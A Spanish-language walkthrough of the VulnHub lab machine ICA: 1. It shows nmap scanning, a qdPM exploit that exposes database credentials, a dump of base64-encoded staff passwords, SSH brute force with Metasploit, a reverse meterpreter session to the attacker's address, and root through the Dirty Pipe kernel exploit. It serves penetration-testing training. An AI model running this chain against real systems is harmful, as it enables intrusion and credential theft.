Entrada

Writeup ICA 1

Writeup ICA 1

En este post te llevo paso a paso por la máquina ICA: 1, un desafío de nivel fácil disponible en VulnHub. Diseñada para quienes desean mejorar en el pentesting, esta máquina nos reta a descubrir un misterioso proyecto secreto. ¿Listo para desentrañar los secretos de ICA?

Descripción

Según la información de nuestra red de inteligencia, la ICA está trabajando en un proyecto secreto. Necesitamos descubrir de qué se trata. Una vez que obtengas la información de acceso, envíanosla. Colocaremos una puerta trasera para acceder al sistema más adelante. Tú solo concéntrate en descubrir en qué consiste el proyecto. Probablemente tendrás que atravesar varias capas de seguridad. La Agencia tiene plena confianza en que completarás esta misión con éxito. ¡Buena suerte, Agente!

Resolucion de la maquina

alt text

Fase de Fingerprinting / Reconocimiento (Reconnaissance):

Descubrimiento de IP objetivo en la red

alt text

alt text

Descubrimiento de puertos y servicios en el host objetivo

Realizo un descubrimiento de todos los puertos de la maquina objetivo.

1
nmap -p- 192.168.88.7 

Obtengo la siguiente lista de puertos de la maquina:

1
2
3
4
5
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
3306/tcp  open  mysql
33060/tcp open  mysqlx

alt text

Realizo un escaneo con mas profundidad sobre los puertos detectados, buscando los servicios tras los puertos, asi como la ejecucion de scripts basicos para detectar vulnerabilidades y este resultado lo almacenare en diferentes formatos con nombre nmap_ICA

1
sudo nmap -p22,80,3306,33060 -sS -sC -sV -O 192.168.88.7 -oA nmap_ICA

Obtengo el siguiente resultado:

Puerto 22 - SSH
1
2
3
4
5
6
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 0e:77:d9:cb:f8:05:41:b9:e4:45:71:c1:01:ac:da:93 (RSA)
|   256 40:51:93:4b:f8:37:85:fd:a5:f4:d7:27:41:6c:a0:a5 (ECDSA)
|_  256 09:85:60:c5:35:c1:4d:83:76:93:fb:c7:f0:cd:7b:8e (ED25519)
Puerto 80 - HTTP
1
2
3
4
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.48 ((Debian))
|_http-title: qdPM | Login
|_http-server-header: Apache/2.4.48 (Debian)
Puerto 3306 - MYSQL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT      STATE SERVICE VERSION
3306/tcp  open  mysql   MySQL 8.0.26
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.26
|   Thread ID: 42
|   Capabilities flags: 65535
|   Some Capabilities: IgnoreSigpipes, SwitchToSSLAfterHandshake, SupportsLoadDataLocal, LongColumnFlag, InteractiveClient, FoundRows, LongPassword, Support41Auth, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, ODBCClient, Speaks41ProtocolOld, SupportsTransactions, Speaks41ProtocolNew, ConnectWithDatabase, SupportsCompression, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: T\x1E5H5\x11\x15\x14]`J{\x1CRW\x19\x0B\x1F[6
|_  Auth Plugin Name: caching_sha2_password
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_8.0.26_Auto_Generated_Server_Certificate
| Not valid before: 2021-09-25T10:47:29
|_Not valid after:  2031-09-23T10:47:29
Puerto 33060 - MYSQLX
1
2
3
4
5
6
7
8
9
10
11
12
PORT      STATE SERVICE VERSION
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000
Informacion General de la maquina.
1
2
3
4
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8

Fase de Footprinting / Exploración (Scanning):

Exploracion puerto 80

Realizo una exploracion visual mediante el navegador al puerto 80 de la ip de la maquina objetivo.

alt text

La pagina de acceso me da la bienvenida a un servicio llamado qdPM, ofreciendo un login.

Veo que indica la versión 9.2 de qdPM. Voy a comprobar si esta version tiene vulnerabilidades conocidas mediante searchsploit

1
searchsploit qdPM 9.2

alt text

Copio el exploit a mi directorio de trabajo.

1
searchsploit -m 50176

alt text

Compruebo el exploit, para ver cuales son las instrucciones para usarlo.

1
cat 50176.txt

alt text

En las instrucciones me indican que la clave y la password de conexion a la base de datos esta guardada en un fichero de configuracion yml al que se puede acceder en una direccion web.

Descargo el fichero usando la ruta de la URL en la maquina objetivo.

1
wget http://192.168.88.7/core/config/databases.yml

alt text

Compruebo el fichero descargado:

1
cat databases.yml

alt text

1
2
3
4
5
6
7
8
9
10
all:
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn: 'mysql:dbname=qdpm;host=localhost'
      profiler: false
      username: qdpmadmin
      password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"
      attributes:
        quote_identifier: true 

He obtenido credenciales para una base de datos en mysql llamada qdpm.

Exploracion puerto 3306

Para realizar la enumeracion del puerto 3306 - MYSQL usaré modulos de metasploit

Obtencion de la version de mysql

Uso el modulo auxiliar mysql_version.

1
2
3
4
use auxiliary/scanner/mysql/mysql_version
options
setg RHOSTS 192.168.88.7
exploit

alt text

alt text

Obtengo que la version de MySQL que esta corriendo en la maquina es la 8.0.26.

Enumeracion de mysql

Usaré el modulo mysql_enum para enumerar el puerto 3306 y obtener usuarios y hashes de conntraseñas, mediante el uso de las credenciales descubierta en la enumeracion del puerto 80.

1
2
3
4
use auxiliary/admin/mysql/mysql_enum
set username qdpmadmin
set password UcVQCMQk2STVeS6J
exploit

alt text

Enumeracion de Esquema de las bases de datos.

Usare el modulo mysql_schemadump para obtener el esquema de las bases de datos del servidor mysql.

alt text

alt text

Explotación

Explotacion puerto 3306

Para explotar el servicio de mysql me conecto al servicio con las credenciales obtenidas.

1
mysql -u qdpmadmin -p -h 192.168.88.7 -P 3306 

alt text

Compruebo cuales bases de datos existen.

1
SHOW DATABASES;

alt text

Accedo a la base de datos qdpm ya que supongo que sera la base de datos de la aplicacion web y podre obtener algun usuario.

1
USE qdpm

alt text

Compruebo las tablas que existen en la base de datos qdpm.

1
SHOW TABLES;

alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
+----------------------+
| Tables_in_qdpm       |
+----------------------+
| attachments          |
| configuration        |
| departments          |
| discussions          |
| discussions_comments |
| discussions_reports  |
| discussions_status   |
...
| tickets              |
| tickets_comments     |
| tickets_reports      |
| tickets_status       |
| tickets_types        |
| user_reports         |
| users                |
| users_groups         |
| versions             |
| versions_status      |
+----------------------+
35 rows in set (0.005 sec)

La tabla users llama mi atencion y compruebo su contenido

1
select * from users;

alt text

Esta consulta me indica que la base de datos esta vacia, por lo que cambio de base de datos qdpm a base de datos staff y consulto las tablas de las que dispone.

1
2
USE staff;
SHOW TABLES;

alt text

Consulto el contenido de la tabla user

1
select * from user;

alt text

Consulto el contenido de la tabla department

1
select * from department;

alt text

Consulto el contenido de la tabla login

1
select * from login;

alt text

En esta tabla vemos que existe un campo password. Observando los valores veo que parece que estan codificados en base64.

Voy a unir las tablas user y login para obtener la relacion entre usuarios y claves.

1
SELECT user.name AS nombre, login.password AS clave FROM user JOIN login ON user.id = login.user_id;

alt text

Como los valores de las claves estan en base64 puedo hacer la decodificacion directamente en SQL mediante la funcion FROM_BASE64()

1
SELECT user.name AS nombre, login.password AS clave, FROM_BASE64(login.password) AS decoded_password FROM user JOIN login ON user.id = login.user_id;

alt text

+---------+--------------------------+------------------+
| nombre  | clave                    | decoded_password |
+---------+--------------------------+------------------+
| Lucas   | c3VSSkFkR3dMcDhkeTNyRg== | suRJAdGwLp8dy3rF |
| Dexter  | N1p3VjRxdGc0MmNtVVhHWA== | 7ZwV4qtg42cmUXGX |
| Smith   | WDdNUWtQM1cyOWZld0hkQw== | X7MQkP3W29fewHdC |
| Travis  | REpjZVZ5OThXMjhZN3dMZw== | DJceVy98W28Y7wLg |
| Meyer   | Y3FObkJXQ0J5UzJEdUpTeQ== | cqNnBWCByS2DuJSy |
+---------+--------------------------+------------------+

Creo ficheros con los nombres y las claves descodificadas.

alt text

alt text

Voy a crear un fichero de nombres de usuario basandome en los nombres de las personas obtenida en la base de datos.

Para esto creo un fichero de script en bash llamado procesar_nombres.sh. Este script se alimentará por parametros del fichero de nombres y en parametros tambien le diré cual sera el fichero de salida a generar.

El script usará los nombres del fichero para darme los mismos nombres tanto en mayusculas como en minusculas y escribira una linea con cada generacion de usuario.

alt text

El codigo del script es el siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/bin/bash

# Verificar que se han proporcionado los nombres de archivo de entrada y salida
if [ $# -lt 2 ]; then
    echo "Uso: $0 <archivo_entrada> <archivo_salida>"
    exit 1
fi

# Archivo de entrada y salida
archivo_entrada="$1"
archivo_salida="$2"

# Verificar si el archivo de entrada existe
if [ ! -f "$archivo_entrada" ]; then
    echo "Error: El archivo $archivo_entrada no existe."
    exit 1
fi

# Registrar el tiempo de inicio en milisegundos
inicio=$(date +%s%3N)

# Limpiar o crear el archivo de salida
> "$archivo_salida"

# Leer cada nombre del archivo de entrada
while read -r nombre || [[ -n "$nombre" ]]; do
    # Convertir a mayúsculas y minúsculas
    mayusculas=$(echo "$nombre" | tr '[:lower:]' '[:upper:]')
    minusculas=$(echo "$nombre" | tr '[:upper:]' '[:lower:]')

    # Escribir cada variante en una línea separada en el archivo de salida
    echo "$nombre" >> "$archivo_salida"
    echo "$mayusculas" >> "$archivo_salida"
    echo "$minusculas" >> "$archivo_salida"
done < "$archivo_entrada"

# Calcular tiempo de finalización en milisegundos
fin=$(date +%s%3N)
duracion=$((fin - inicio))

# Contar las palabras generadas en el archivo de salida
palabras=$(wc -l < "$archivo_salida")

# Mostrar estadísticas
echo "Procesamiento completo."
echo "Resultados guardados en $archivo_salida"
echo "Palabras generadas: $palabras"
echo "Tiempo de ejecución: ${duracion} milisegundos"

Una vez creado el script lo guardo y compruebo sus permisos de ejecucion

ls -l procesar_nombres.sh

alt text

chmod +x procesar_nombres.sh

alt text

Ahora ejecuto el script creado pasandole como parametros el fichero de nombres que cree y dandole un archivo de salida.

1
procesar_nombres.sh nombres.txt usuarios.txt

alt text

Compruebo su contenido para verificar que es lo esperado.

alt text

Explotacion del servicio SSH

Con la lista de usuarios generada voy a intentar usarlas para obtener acceso al sistema mediante el servicio SSH.

Para ello usare el modulo ssh_login de metasploit que me permite hacer fuerza bruta al servicio con los ficheros de usuario y claves que tengo.

1
2
3
msfconsole -q
search ssh_login
use auxiliary/scanner/ssh/ssh_login

alt text

1
2
3
4
set PASS_FILE pass.txt
set USER_FILE usuarios.txt
set verbose true
exploit

alt text

Espero que se ejecute el ataque. En los resultados veo que se consiguen dos sesiones ssh al servidor, una con el usuario dexter y otra con el usuario travis.

alt text

alt text

Puedo consultar las sesiones abiertas con el comando sessions

alt text

alt text

Voy a upgradear la sesion 1 a una sesion de meterpreter para poder usar mas adelante modulos de enumeracion en la maquina objetivo.

Para esto uso el modulo shell_to_meterpreter

1
use post/multi/manage/shell_to_meterpreter

alt text

Defino la sesion 1 y la IP para el localhost contra la que devolvera la sesion de meterpreter.

1
2
set session 1
set LhOST 192.168.88.3

alt text

Lanzo el modulo con el comando exploit

alt text

Compruebo con el comando sessions que tengo una session 3 de tipo meterpreter

alt text

abro la session 3 de forma interactiva.

1
sessions -i 3

alt text

Enumeracion local del sistema

Ahora que he comprobado que tengo acceso a la session 3 mediante meterpreter, voy a pasarla de nuevo al background para hacer la enumeracion mediante modulos de metasploit.

1
background

alt text

Enumeracion local de la red en la maquina objetivo.

Para la enumeracion local de la red en la maquina objetivo voy a usar el modulo de postexplotacion enum_network

1
use post/linux/gather/enum_network

Compruebo las opciones requeridas para lanzarlo con el comando options

alt text

Ejecuto con run el modulo y comienza a hacer la enumeracion volcando la informacion en unos ficheros dentro de la carpeta /home/kali/.msf4/loot/

alt text

Los ficheros que obtengo son los siguientes:

Configuracionfichero acabado en…
Network configlinux.enum.netwo_435546.txt
Route tablelinux.enum.netwo_728552.txt
DNS configlinux.enum.netwo_338080.txt
SSHD configlinux.enum.netwo_975563.txt
Host filelinux.enum.netwo_840574.txt
Active connectionslinux.enum.netwo_615940.txt
Wireless informationlinux.enum.netwo_542351.txt
Listening portslinux.enum.netwo_207902.txt
If-Up/If-Downlinux.enum.netwo_951546.txt

alt text

Podemos consultar el contenido de ellos con el comando cat. Por ejemplo si quisiera ver el resultado de la enumeracion de la configuracion de red usaria:

1
cat 20241201065015_default_192.168.88.7_linux.enum.netwo_435546.txt

alt text

Enumeracion local de la configuraciones en la maquina objetivo.

Para ello usare el modulo:

1
use post/linux/gather/enum_configs

alt text

Obtenemos la siguiente informacion que se almacena en ficheros.

Configuracionfichero acabado en…
apache2.conflinux.enum.conf_820557.txt
ports.conflinux.enum.conf_421813.txt
my.cnflinux.enum.conf_913290.txt
shellslinux.enum.conf_703254.txt
sepermit.conflinux.enum.conf_986293.txt
ca-certificates.conflinux.enum.conf_507790.txt
access.conflinux.enum.conf_140621.txt
rpclinux.enum.conf_176857.txt
logrotate.conflinux.enum.conf_908148.txt
ldap.conflinux.enum.conf_313793.txt
sysctl.conflinux.enum.conf_398036.txt

alt text

Enumeracion local de informacion del sistema en la maquina objetivo.

Para esta enumeracion utilizaré:

1
use post/linux/gather/enum_system

alt text

alt text

Configuracionfichero acabado en…
Linux versionlinux.enum.syste_288009.txt
User accountslinux.enum.syste_160341.txt
Installed Packageslinux.enum.syste_775955.txt
Running Serviceslinux.enum.syste_388500.txt
Cron jobslinux.enum.syste_686066.txt
Disk infolinux.enum.syste_803251.txt
Logfileslinux.enum.syste_298740.txt
Setuid/setgid fileslinux.enum.syste_899019.txt
CPU Vulnerabilitieslinux.enum.syste_831385.txt

Obtengo los siguientes ficheros:

alt text

Compruebo si existen trabajos cron del usuario con el que enumero.

alt text

Elevacion de privilegios

Para comprobar que vulnerabilidades puedo explotar en la maquina objetivo una vez que tengo acceso a ella con una sesion de meterpreter puedo usar el modulo local_exploit_suggester.

Indicaré que sesion de meterpreter quiero usar y lo ejecutaré.

1
2
3
use post/multi/recon/local_exploit_suggester
set session 3
exploit

alt text

Espero que termine la comprobacion de vulnerabilidades.

alt text

Obtengo la siguiente tabla de vulnerabilidades disponibles para probar que pueden tener bastante exito.


#   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/cve_2022_0847_dirtypipe                        Yes                      The target appears to be vulnerable. Linux kernel version found: 5.10.0                                                    
 2   exploit/linux/local/glibc_tunables_priv_esc                        Yes                      The target appears to be vulnerable. The glibc version (2.31-13) found on the target appears to be vulnerable              
 3   exploit/linux/local/netfilter_priv_esc_ipv4                        Yes                      The target appears to be vulnerable.                                                                                       
 4   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.                                                                                       
 5   exploit/linux/local/sudoedit_bypass_priv_esc                       Yes                      The target appears to be vulnerable. Sudo 1.9.5p2.pre.3 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module                

Comenzaré probando la vulnerabilidad cve_2022_0847_dirtypipe

En primer lugar me informo de la vulnerabilidad:

1
info exploit/linux/local/cve_2022_0847_dirtypipe  

alt text

alt text

Defino la session a usar, la ip de mi maquina atacante y un puerto libre de mi maquina

1
2
3
set session 3
set LHOST 192.168.88.3
set LPORT 7331

alt text

Compruebo que todo esta en orden con el comando options

alt text

Ejecuto el exploit obteniendo una sesion de meterpreter.

alt text

Compruebo en esta sesion de meterpreter que usuario soy y me da que soy root en la maquina objetivo.

alt text

Abro una shell desde meterpreter, y compruebo el contenido de la carpeta /root y consulto la flag root.txt

alt text

Con esto queda resuelta la maquina.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.